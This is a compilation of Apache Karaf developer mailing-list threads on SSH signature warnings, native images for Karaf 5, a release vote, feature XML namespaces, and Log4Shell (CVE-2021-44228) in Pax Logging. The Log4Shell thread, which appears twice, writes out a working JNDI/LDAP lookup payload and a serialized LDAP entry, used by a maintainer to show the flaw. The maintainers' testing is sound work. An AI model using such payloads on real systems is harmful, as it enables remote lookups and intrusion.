Re: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7

[Bernd Eckenfels]

It is not required (for operation, not sure about the tests), it is optionally 
recognized if present. You can use ssh with RSA or ECDSA instead which comes 
out of the box from the JCE provider.

Gruss
Bernd
--
http://bernd.eckenfels.net

Von: Steven Huypens 
Gesendet: Wednesday, May 25, 2022 5:31:34 PM
An: dev@karaf.apache.org 
Betreff: Re: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7

Hi all,

I don't think I completely understand. If this dependency is required by
Karaf 4.3.7 (or maybe the 'ssh'-feature), shouldn't it be provisioned as
well ?

Kind regards,
Steven

On Tue, May 24, 2022 at 3:42 PM Siano, Stephan
 wrote:

> Hi,
> OK, Bernd Eckenfels' response was actually the one that was leading to the
> right direction:
> Mina obviously does not take the ed25519 algorithm from the JCE but from
> an external library:
> 
> net.i2p.crypto
> eddsa
> 0.3.0
> 
> Adding this to the bundles installed by pax-exam into the osgi container
> may help.
>
> Best regards
> Stephan
>
>
> -Original Message-
> From: Steven Huypens 
> Sent: Tuesday, 24 May 2022 15:29
> To: dev@karaf.apache.org
> Subject: Re: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7
>
> Hi Stephan,
>
> That is JDK 8
>
> Steven
>
> On Tue, May 24, 2022 at 3:22 PM Siano, Stephan
>  wrote:
>
> > Hi,
> >
> > Which JDK are you using for your pax-exam-tests? As far as I remember
> > ed25519 is only available in JDK 15 and later.
> >
> > Best regards
> > Stephan
> >
> > -Original Message-
> > From: Steven Huypens 
> > Sent: Tuesday, 24 May 2022 14:51
> > To: dev@karaf.apache.org
> > Subject: Re: SSH warnings seen in Pax Exam test log after upgrade to
> > 4.3.7
> >
> > I'm seeing the exact same log lines, so I'm interested to know as well.
> >
> > Kind regards,
> > Steven
> >
> > On Mon, May 23, 2022 at 3:52 PM Eric Lilja  wrote:
> >
> > > Hello, I just upgraded Karaf from 4.2.12 to 4.3.7 due to moving from
> > > Java
> > > 11 to Java 17. Now I can see the following warnings in the log when
> > > running Pax Exam tests:
> > >
> > > [INFO] 2022-05-23T15:33:43,050 | WARN  | activator-1-thread-1 |
> SshUtils
> > >   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> > > Configured signature 'sk-ssh-ed25...@openssh.com' not available
> > > [INFO]
> > > 2022-05-23T15:33:43,085 | WARN  | activator-1-thread-1 | SshUtils
> > >   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> > > Configured signature 'ssh-ed25519' not available [INFO]
> > > 2022-05-23T15:33:43,319 | WARN  | activator-1-thread-1 | SshUtils
> > >   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> > > Configured signature 'sk-ssh-ed25...@openssh.com' not available
> > > [INFO]
> > > 2022-05-23T15:33:43,320 | WARN  | activator-1-thread-1 | SshUtils
> > >   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> > > Configured signature 'ssh-ed25519' not available
> > >
> > > If I downgrade to 4.3.6, the warnings disappear. Looking at the
> > > changelog for 4.3.7, I suppose this is caused by KARAF-7363 [1]
> > >
> > > How do I make the above warnings disappear? Is it a bug? The tests
> > > work fine, but it's a bit annoying to see these warnings. I'd rather
> > > not silence the logger, that seems wrong..
> > >
> > > - Eric L
> >
>

Re: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7

[Bernd Eckenfels]

As far as I know  the Eddsa variant Mina requires the external library, it is 
not yet ready to use JCE. Not sure if the sk- (Fido) variant is supported yet.

Gruss
Bernd

--
https://bernd.eckenfels.net

From: Siano, Stephan 
Sent: Tuesday, May 24, 2022 3:22:06 PM
To: dev@karaf.apache.org 
Subject: RE: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7

Hi,

Which JDK are you using for your pax-exam-tests? As far as I remember ed25519 
is only available in JDK 15 and later.

Best regards
Stephan

-Original Message-
From: Steven Huypens 
Sent: Tuesday, 24 May 2022 14:51
To: dev@karaf.apache.org
Subject: Re: SSH warnings seen in Pax Exam test log after upgrade to 4.3.7

I'm seeing the exact same log lines, so I'm interested to know as well.

Kind regards,
Steven

On Mon, May 23, 2022 at 3:52 PM Eric Lilja  wrote:

> Hello, I just upgraded Karaf from 4.2.12 to 4.3.7 due to moving from
> Java
> 11 to Java 17. Now I can see the following warnings in the log when
> running Pax Exam tests:
>
> [INFO] 2022-05-23T15:33:43,050 | WARN  | activator-1-thread-1 | SshUtils
>   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> Configured signature 'sk-ssh-ed25...@openssh.com' not available [INFO]
> 2022-05-23T15:33:43,085 | WARN  | activator-1-thread-1 | SshUtils
>   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> Configured signature 'ssh-ed25519' not available [INFO]
> 2022-05-23T15:33:43,319 | WARN  | activator-1-thread-1 | SshUtils
>   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> Configured signature 'sk-ssh-ed25...@openssh.com' not available [INFO]
> 2022-05-23T15:33:43,320 | WARN  | activator-1-thread-1 | SshUtils
>   | 55 - org.apache.karaf.shell.ssh - 4.3.7 |
> Configured signature 'ssh-ed25519' not available
>
> If I downgrade to 4.3.6, the warnings disappear. Looking at the
> changelog for 4.3.7, I suppose this is caused by KARAF-7363 [1]
>
> How do I make the above warnings disappear? Is it a bug? The tests
> work fine, but it's a bit annoying to see these warnings. I'd rather
> not silence the logger, that seems wrong..
>
> - Eric L

Re: Karaf 5 shell and native

[Bernd Eckenfels]

Yes winegrower can be a good base, it seems customary for Karaf to build on 
those technologies. It would somehow be good if the build uses the same feature 
and maven infrastructure and when the prerequisites are also used with karaf 
binaries (shell and client command as well as a karaf cli).

I haven’t tried how compatible it would be with Karaf/Gogo commands yet.

Gruss
Bernd


--
http://bernd.eckenfels.net

Von: Romain Manni-Bucau 
Gesendet: Tuesday, February 8, 2022 1:12:14 PM
An: dev 
Betreff: Re: Karaf 5 shell and native

Hi,

I thought winegrower was the one targetting native support by design - and
already has its arthur knight
https://geronimo.apache.org/arthur/winegrower-knight.html -  and Karaf 5
the opposite: aggregation and optimization of heterogeneous runtimes in a
single JVM.
Did I miss anything?

Romain Manni-Bucau
@rmannibucau <https://twitter.com/rmannibucau> |  Blog
<https://rmannibucau.metawerx.net/> | Old Blog
<http://rmannibucau.wordpress.com> | Github <https://github.com/rmannibucau> |
LinkedIn <https://www.linkedin.com/in/rmannibucau> | Book
<https://www.packtpub.com/application-development/java-ee-8-high-performance>


Le mar. 8 févr. 2022 à 13:09, Łukasz Dywicki  a écrit :

> I did have some small attempts turning basic apps into native images and
> I believe it is very good idea, yet I am not sure if Karaf (or OSGi per
> say) is ready for that. I am glad you are opening this topic as I am
> interested in anyone succeeded in making a native image which can keep
> OSGi semantics. ;-)
> I think problem with native images lies somewhere else than command line
> handling, as we rely on jansi and jline which are used in other
> ecosystems which are deep in native compilation.
> Because Karaf stuff is promoting modulith approach you might have
> multiple apps and services running at the same time. This means that
> native compilation might be more complicated as some of classes will
> obviously get shared across multiple places, the asynchronous nature of
> service activation might result in scenarios where you simply have to
> "warm up" app long enough so you catch all places which are touched by
> java reflection api. Its also possible that without valid preparation
> you will be pulling some libraries in different versions. I am not sure
> how graal is handling that. Given that even netty could produce troubles
> with native image I am a little bit afraid how verbose is preparation
> for more complicated applications.
>
> Best,
> Łukasz
>
> On 7.02.2022 08:14, Bernd Eckenfels wrote:
> > Hello,
> >
> > I wonder are there any plans for native image and tree shaking for
> karaf5?
> >
> >   Especially I think we need a shell framework (like quarkus/picocli)
> which allows a fast stand-alone cli. At least if karaf plans to play in
> this space. I like the OSGi console command abstraction, so it would be a
> good candidate if one can proceed to write (Developer and ops) commands
> this way and then compile it.
> >
> > This could even abstract away some of the more arcane to use maven steps
> (archetype) and add new things like development server or even client.sh.
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> >
>

Karaf 5 shell and native

[Bernd Eckenfels]

Hello,

I wonder are there any plans for native image and tree shaking for karaf5?

 Especially I think we need a shell framework (like quarkus/picocli) which 
allows a fast stand-alone cli. At least if karaf plans to play in this space. I 
like the OSGi console command abstraction, so it would be a good candidate if 
one can proceed to write (Developer and ops) commands this way and then compile 
it.

This could even abstract away some of the more arcane to use maven steps 
(archetype) and add new things like development server or even client.sh.

Gruss
Bernd


--
http://bernd.eckenfels.net

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Bernd Eckenfels]

There are rumors/theories the Sysprop does not cover all Code path (not for 
structured log events). Therefore sooner or later the 2.16 is needed for 
compliance reasons.

Much appreciated that you roll another release, jb.


--
http://bernd.eckenfels.net

Von: Romain Manni-Bucau 
Gesendet: Tuesday, December 14, 2021 10:07:13 AM
An: dev 
Betreff: Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

+1 (to release), in terms of actual security 2.15 or 2.16 does not change
much and karaf has some expected changes so let it go and redo one after if
wished IMHO

Romain Manni-Bucau
@rmannibucau <https://twitter.com/rmannibucau> |  Blog
<https://rmannibucau.metawerx.net/> | Old Blog
<http://rmannibucau.wordpress.com> | Github <https://github.com/rmannibucau> |
LinkedIn <https://www.linkedin.com/in/rmannibucau> | Book
<https://www.packtpub.com/application-development/java-ee-8-high-performance>


Le mar. 14 déc. 2021 à 09:30, Bernd Eckenfels  a
écrit :

> If you have any reason to delay it some more, a new pax logging with log4j
> 2.0.16 should be close by ,) Log4j finally disabled JNDI and removed the
> lookup code. Otherwise another minor release would also be an option.
> --
> http://bernd.eckenfels.net
> 
> Von: Francois Papon 
> Gesendet: Tuesday, December 14, 2021 8:49:24 AM
> An: dev@karaf.apache.org 
> Betreff: Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)
>
> +1 (binding)
>
> Thanks JB!
>
> regards,
>
> Francois
>
> On 13/12/2021 16:24, Jean-Baptiste Onofré wrote:
> > Hi everyone,
> >
> > I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
> >
> > This release includes dependency upgrades, fixes, and improvements,
> > especially:
> >
> > - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> > important security issue (CVE-2021-44228)
> > - align dependencies versions between Karaf and Pax *
> > - fix missing system export packages
> > - fix on Karaf features json support
> > - fix features autoRefresh configuration handling
> > - fix on sshd session handling
> > - update to sshd 2.8.0
> > - lot of pax * updates
> > - and much more !
> >
> > Please take a look on Release Notes for details !
> >
> > Release Notes:
> >
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
> >
> >
> > Staging Maven Repository:
> > https://repository.apache.org/content/repositories/orgapachekaraf-1164/
> >
> > Staging Dist Repository:
> > https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
> >
> > Git tag:
> > karaf-4.3.4
> >
> > Please vote to approve this release:
> >
> > [ ] +1 Approve the release
> > [ ] -1 Don't approve the release (please provide specific comments)
> >
> > This vote will be open for at least 72 hours.
> >
> > Regards
> > JB
>

Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

[Bernd Eckenfels]

If you have any reason to delay it some more, a new pax logging with log4j 
2.0.16 should be close by ,) Log4j finally disabled JNDI and removed the lookup 
code. Otherwise another minor release would also be an option.
--
http://bernd.eckenfels.net

Von: Francois Papon 
Gesendet: Tuesday, December 14, 2021 8:49:24 AM
An: dev@karaf.apache.org 
Betreff: Re: [VOTE] Apache Karaf runtime 4.3.4 release (take #2)

+1 (binding)

Thanks JB!

regards,

Francois

On 13/12/2021 16:24, Jean-Baptiste Onofré wrote:
> Hi everyone,
>
> I submit Apache Karaf runtime 4.3.4 to your vote (take #2).
>
> This release includes dependency upgrades, fixes, and improvements,
> especially:
>
> - upgrade to Pax Logging 2.0.11, upgrading to log4j2 2.0.15, fixing
> important security issue (CVE-2021-44228)
> - align dependencies versions between Karaf and Pax *
> - fix missing system export packages
> - fix on Karaf features json support
> - fix features autoRefresh configuration handling
> - fix on sshd session handling
> - update to sshd 2.8.0
> - lot of pax * updates
> - and much more !
>
> Please take a look on Release Notes for details !
>
> Release Notes:
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140=12350547
>
>
> Staging Maven Repository:
> https://repository.apache.org/content/repositories/orgapachekaraf-1164/
>
> Staging Dist Repository:
> https://dist.apache.org/repos/dist/dev/karaf/4.3.4/
>
> Git tag:
> karaf-4.3.4
>
> Please vote to approve this release:
>
> [ ] +1 Approve the release
> [ ] -1 Don't approve the release (please provide specific comments)
>
> This vote will be open for at least 72 hours.
>
> Regards
> JB

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Bernd Eckenfels]

Hello,

Found no problem was using the wrong property prefix. It works now to turn it 
off.

I also noticed that JNDI lookups will fail on our karaf distribution because 
the JNDIManager has some DelegateContextLookup (OSGiDelegating something) which 
fails the lookup. It’s too late to find out why but that means at least the POC 
vectors don’t harm me.

--
https://bernd.eckenfels.net

From: Bernd Eckenfels 
Sent: Friday, December 10, 2021 11:26:19 PM
To: dev@karaf.apache.org 
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

I am currently working on a description for a work around (specifying the 
system property) but I can’t get it to work.

It still expands ${java:version}. I checked that it shows with “system:property 
log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.

I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version 
newer than 2.10).

Any idea?

Is it possible that the shaded pax-logging-log4j does not honor the system 
property of log4j?


--
https://bernd.eckenfels.net

From: Grzegorz Grzybek 
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org 
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

Hello

Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.

I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!

But you can try (in Karaf):

karaf@root()> log:log 'xxx ${java:version} xxx'

And you'll see (in the logs):

2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx

so a message has been interpolated.

What's worse, I could add an entry to my OpenLDAP with:

javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr

And then:

karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'

gave me this in logs:

2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack

"http://localhost/attack; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.

While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.

regards
Grzegorz Grzybek

pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
napisał(a):

> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
>  I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
>  Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
> 
> Von: Grzegorz Grzybek 
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcem...@googlegroups.com <
> ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> d...@felix.apache.org 
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Bernd Eckenfels]

I am currently working on a description for a work around (specifying the 
system property) but I can’t get it to work.

It still expands ${java:version}. I checked that it shows with “system:property 
log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.

I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version 
newer than 2.10).

Any idea?

Is it possible that the shaded pax-logging-log4j does not honor the system 
property of log4j?


--
https://bernd.eckenfels.net

From: Grzegorz Grzybek 
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org 
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

Hello

Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.

I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!

But you can try (in Karaf):

karaf@root()> log:log 'xxx ${java:version} xxx'

And you'll see (in the logs):

2021-12-10 13:39:25,243 INFO  {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx

so a message has been interpolated.

What's worse, I could add an entry to my OpenLDAP with:

javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr

And then:

karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'

gave me this in logs:

2021-12-10 13:40:38,181 INFO  {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack

"http://localhost/attack; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.

While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.

regards
Grzegorz Grzybek

pt., 10 gru 2021 o 13:28 Bernd Eckenfels 
napisał(a):

> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
>  I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
>  Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
> 
> Von: Grzegorz Grzybek 
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcem...@googlegroups.com <
> ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> d...@felix.apache.org 
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>

Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

[Bernd Eckenfels]

Hello Grzegorz,

Thanks a lot for the super quick reaction.

 I was rather confused to see that log messages can trigger a JNDI lookup 
anyway. Do you think there should be hardened something here?

 Do you know if that is triggered by malicious log config or by malicious log 
messages and does it only affect systems where the JMSAppender is actually used?

Gruss
Bernd


--
http://bernd.eckenfels.net

Von: Grzegorz Grzybek 
Gesendet: Friday, December 10, 2021 12:20:02 PM
An: ops4j-announcem...@googlegroups.com ; 
Karaf Dev ; d...@felix.apache.org 
Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released

Hello

Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.

*Log4j2 has been updated to version 2.15.0.*

The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1

kind regards
Grzegorz Grzybek

Re: karaf-maven-plugin generates another org.apache.karaf.features.xml with Java 8/Java 11

[Bernd Eckenfels]

Yes looked in the wrong Schema. I think, don’t worry about the prefixes, as 
long as the elements are correctly qualified (the processing elements in your 
case with ns3:) they are equivalent. Your memory problems have likely another 
cause. But as stated, it might be a good idea to list the repos and features in 
both running instances and compare them, just to be sure.

(Besides the maven plugin probably should define a few fixed prefixes to make 
it better readable)

Not sure why the maven plug-in is so sensitive to the jaxb version (if executed 
with java11 it needs to provide its own). Can you maybe run both builds with 
the same JDK?

Gruss
Bernd
--
http://bernd.eckenfels.net

Von: Steven Huypens 
Gesendet: Saturday, November 27, 2021 9:56:04 PM
An: dev@karaf.apache.org 
Betreff: Re: karaf-maven-plugin generates another org.apache.karaf.features.xml 
with Java 8/Java 11

Hi Bernd,

- I do see 'blacklistedRepositories' in
http://karaf.apache.org/xmlns/features-processing/v1.0.0
- With the namespace-prefix my app goes OOM immediately, so I cannot
compare both running systems.
- I tried adding the prefix to each child, but that did not help

Kind regards,
Steven

On Sat, Nov 27, 2021 at 9:23 PM Bernd Eckenfels 
wrote:

> In that case maybe the child (deny* list?) is ignored, not sure how strict
> the parser is in regards to namespaces. I don’t see a blacklistRepository
> element in the Schema anyway. It’s maybe best you inspect the running
> systems with feature:* commands and look for differences.
>
>
>
> --
> http://bernd.eckenfels.net
> 
> Von: Steven Huypens 
> Gesendet: Saturday, November 27, 2021 8:58:20 PM
> An: dev@karaf.apache.org 
> Betreff: Re: karaf-maven-plugin generates another
> org.apache.karaf.features.xml with Java 8/Java 11
>
> Hi Bernd,
>
> Thanks for your response. The child elements have no prefix, eg.
> 
>
> I'm sorry but I do not understand what you mean. You think part of my
> org.apache.karaf.features.xml was previously ignored ? I haven't double
> checked, but that would really surprise me because we have quite some
> blacklistedFeatures en blacklistedBundles which would cause problems if
> ignored.
>
> Best regards,
> Steven
>
> On Sat, Nov 27, 2021 at 8:22 PM Bernd Eckenfels 
> wrote:
>
> > Hello Steven
> >
> > How do the child elements of that element look like? Are they using
> > default/f/ns2 prefix and maybe the (semantically equivalent) change
> affects
> > your memory only because the old form ignored a actual entry for
> dependency?
> >
> > Bernd
> >
> > --
> > http://bernd.eckenfels.net
> > 
> > Von: Romain Manni-Bucau 
> > Gesendet: Samstag, November 27, 2021 8:14 PM
> > An: dev
> > Betreff: Re: karaf-maven-plugin generates another
> > org.apache.karaf.features.xml with Java 8/Java 11
> >
> > Hi Steven,
> >
> >
> > Maybe force jaxb version to an earlier one in karag pluhin dependencies
> in
> > your pom.
> >
> >
> > Le sam. 27 nov. 2021 à 20:05, Steven Huypens 
> a
> > écrit :
> >
> > > Hi all,
> > >
> > > I tried to create my custom Karaf distribution (using
> karaf-maven-plugin
> > > 4.3.2) with Java 11 for the first time, and I noticed a difference in
> the
> > > resulting org.apache.karaf.features.xml
> > >
> > > The line
> > >
> > > http://karaf.apache.org/xmlns/features-processing/v1.0.0; xmlns:f="
> > > http://karaf.apache.org/xmlns/features/v1.6.0;>
> > >
> > > has been changed into
> > >
> > > http://karaf.apache.org/xmlns/features/v1.6.0; xmlns:ns3="
> > > http://karaf.apache.org/xmlns/features-processing/v1.0.0;>
> > >
> > > which means a namespace has been added. Unfortunately this little
> change
> > > has a big impact because now my app immediately runs OutOfMemory when I
> > > start Karaf. There is very little DEBUG-logging, the behaviour is
> > somewhat
> > > like described in https://issues.apache.org/jira/browse/KARAF-6068
> > >
> > > Removing the namespace fixes the problem.
> > >
> > >
> > >
> > > Do you have any idea how I can prevent my app from going OOM after this
> > > change ? Or how I can prevent the namespace from being added with Java
> > 11 ?
> > > It would be nice to understand the exact problem here.
> > >
> > >
> > >
> > > Kind regards,
> > > Steven
> > >
> >
>

Re: karaf-maven-plugin generates another org.apache.karaf.features.xml with Java 8/Java 11

[Bernd Eckenfels]

In that case maybe the child (deny* list?) is ignored, not sure how strict the 
parser is in regards to namespaces. I don’t see a blacklistRepository element 
in the Schema anyway. It’s maybe best you inspect the running systems with 
feature:* commands and look for differences.



--
http://bernd.eckenfels.net

Von: Steven Huypens 
Gesendet: Saturday, November 27, 2021 8:58:20 PM
An: dev@karaf.apache.org 
Betreff: Re: karaf-maven-plugin generates another org.apache.karaf.features.xml 
with Java 8/Java 11

Hi Bernd,

Thanks for your response. The child elements have no prefix, eg.


I'm sorry but I do not understand what you mean. You think part of my
org.apache.karaf.features.xml was previously ignored ? I haven't double
checked, but that would really surprise me because we have quite some
blacklistedFeatures en blacklistedBundles which would cause problems if
ignored.

Best regards,
Steven

On Sat, Nov 27, 2021 at 8:22 PM Bernd Eckenfels 
wrote:

> Hello Steven
>
> How do the child elements of that element look like? Are they using
> default/f/ns2 prefix and maybe the (semantically equivalent) change affects
> your memory only because the old form ignored a actual entry for dependency?
>
> Bernd
>
> --
> http://bernd.eckenfels.net
> 
> Von: Romain Manni-Bucau 
> Gesendet: Samstag, November 27, 2021 8:14 PM
> An: dev
> Betreff: Re: karaf-maven-plugin generates another
> org.apache.karaf.features.xml with Java 8/Java 11
>
> Hi Steven,
>
>
> Maybe force jaxb version to an earlier one in karag pluhin dependencies in
> your pom.
>
>
> Le sam. 27 nov. 2021 à 20:05, Steven Huypens  a
> écrit :
>
> > Hi all,
> >
> > I tried to create my custom Karaf distribution (using karaf-maven-plugin
> > 4.3.2) with Java 11 for the first time, and I noticed a difference in the
> > resulting org.apache.karaf.features.xml
> >
> > The line
> >
> > http://karaf.apache.org/xmlns/features-processing/v1.0.0; xmlns:f="
> > http://karaf.apache.org/xmlns/features/v1.6.0;>
> >
> > has been changed into
> >
> > http://karaf.apache.org/xmlns/features/v1.6.0; xmlns:ns3="
> > http://karaf.apache.org/xmlns/features-processing/v1.0.0;>
> >
> > which means a namespace has been added. Unfortunately this little change
> > has a big impact because now my app immediately runs OutOfMemory when I
> > start Karaf. There is very little DEBUG-logging, the behaviour is
> somewhat
> > like described in https://issues.apache.org/jira/browse/KARAF-6068
> >
> > Removing the namespace fixes the problem.
> >
> >
> >
> > Do you have any idea how I can prevent my app from going OOM after this
> > change ? Or how I can prevent the namespace from being added with Java
> 11 ?
> > It would be nice to understand the exact problem here.
> >
> >
> >
> > Kind regards,
> > Steven
> >
>

Re: karaf-maven-plugin generates another org.apache.karaf.features.xml with Java 8/Java 11

[Bernd Eckenfels]

Hello Steven

How do the child elements of that element look like? Are they using 
default/f/ns2 prefix and maybe the (semantically equivalent) change affects 
your memory only because the old form ignored a actual entry for dependency?

Bernd

--
http://bernd.eckenfels.net

Von: Romain Manni-Bucau 
Gesendet: Samstag, November 27, 2021 8:14 PM
An: dev
Betreff: Re: karaf-maven-plugin generates another org.apache.karaf.features.xml 
with Java 8/Java 11

Hi Steven,


Maybe force jaxb version to an earlier one in karag pluhin dependencies in
your pom.


Le sam. 27 nov. 2021 à 20:05, Steven Huypens  a
écrit :

> Hi all,
>
> I tried to create my custom Karaf distribution (using karaf-maven-plugin
> 4.3.2) with Java 11 for the first time, and I noticed a difference in the
> resulting org.apache.karaf.features.xml
>
> The line
>
> http://karaf.apache.org/xmlns/features-processing/v1.0.0; xmlns:f="
> http://karaf.apache.org/xmlns/features/v1.6.0;>
>
> has been changed into
>
> http://karaf.apache.org/xmlns/features/v1.6.0; xmlns:ns3="
> http://karaf.apache.org/xmlns/features-processing/v1.0.0;>
>
> which means a namespace has been added. Unfortunately this little change
> has a big impact because now my app immediately runs OutOfMemory when I
> start Karaf. There is very little DEBUG-logging, the behaviour is somewhat
> like described in https://issues.apache.org/jira/browse/KARAF-6068
>
> Removing the namespace fixes the problem.
>
>
>
> Do you have any idea how I can prevent my app from going OOM after this
> change ? Or how I can prevent the namespace from being added with Java 11 ?
> It would be nice to understand the exact problem here.
>
>
>
> Kind regards,
> Steven
>

Top Contributors

[Bernd Eckenfels]

Congratulations to JB and Andrea for beeing recognized as top committers and 
senders in the latest annual ASF report

https://s.apache.org/FY2021AnnualReport

And of course also a huge thank you to all other contributors from my side. I 
came across the report and thought it’s a good reason to say thank you.

Gruss
Bernd
--
http://bernd.eckenfels.net

Re: [PROPOSAL] features.deployer=[true|false] and new tool waiting Karaf 5

[Bernd Eckenfels]

Hello JB,

It sounds good. How is the jar been run, will it unpack,dynamically? Is there 
provisions for config template or a mechanism for a container install?

Gruss
Bernd
--
http://bernd.eckenfels.net

Von: Jean-Baptiste Onofre 
Gesendet: Monday, June 14, 2021 7:24:10 AM
An: dev@karaf.apache.org 
Betreff: [PROPOSAL] features.deployer=[true|false] and new tool waiting Karaf 5

Hi guys,

Following the discussion on a previous mailing list thread, I moved forward on 
the features resolver.
I will submit a PR containing a new features.deployer=[true|false] property in 
etc/org.apache.karaf.features.cfg. If true, it’s the current behavior, nothing 
change (it’s the default). If false, we won’t use a full resolver, but a very 
simple one, just executing/installing what’s in the features xml/json.

On the other hand, waiting Karaf 5, I would like to propose a new tool 
(runnable/cli/maven) to "wrap" karaf distribution and user artifacts in a ready 
to run jar.
So, basically, it’s mean that we will be able to do something like:

$ karaf-packager —version 4.3.2 —features-repos mvn:…,file:… —features foo, 
bar —name mystuff

And the result will be mystuff.jar able to do java -jar mystuff.jar
Of course, we will be able to include Karaf-packager in CI.

Thoughts ?

Karaf 5 already works this way and we did good progress on K5, I will share 
details pretty soon.

Regards
JB

Re: [X-Mas Gift] Panel discussion about Karaf 5

[Bernd Eckenfels]

Hello,

Yes this sounds interesting, would like to listen in.

BTW if you can spare 5 minutes of this call to generally talk about OSGi and 
it’s Future, it would be even better.

Gruss
Bernd
--
http://bernd.eckenfels.net

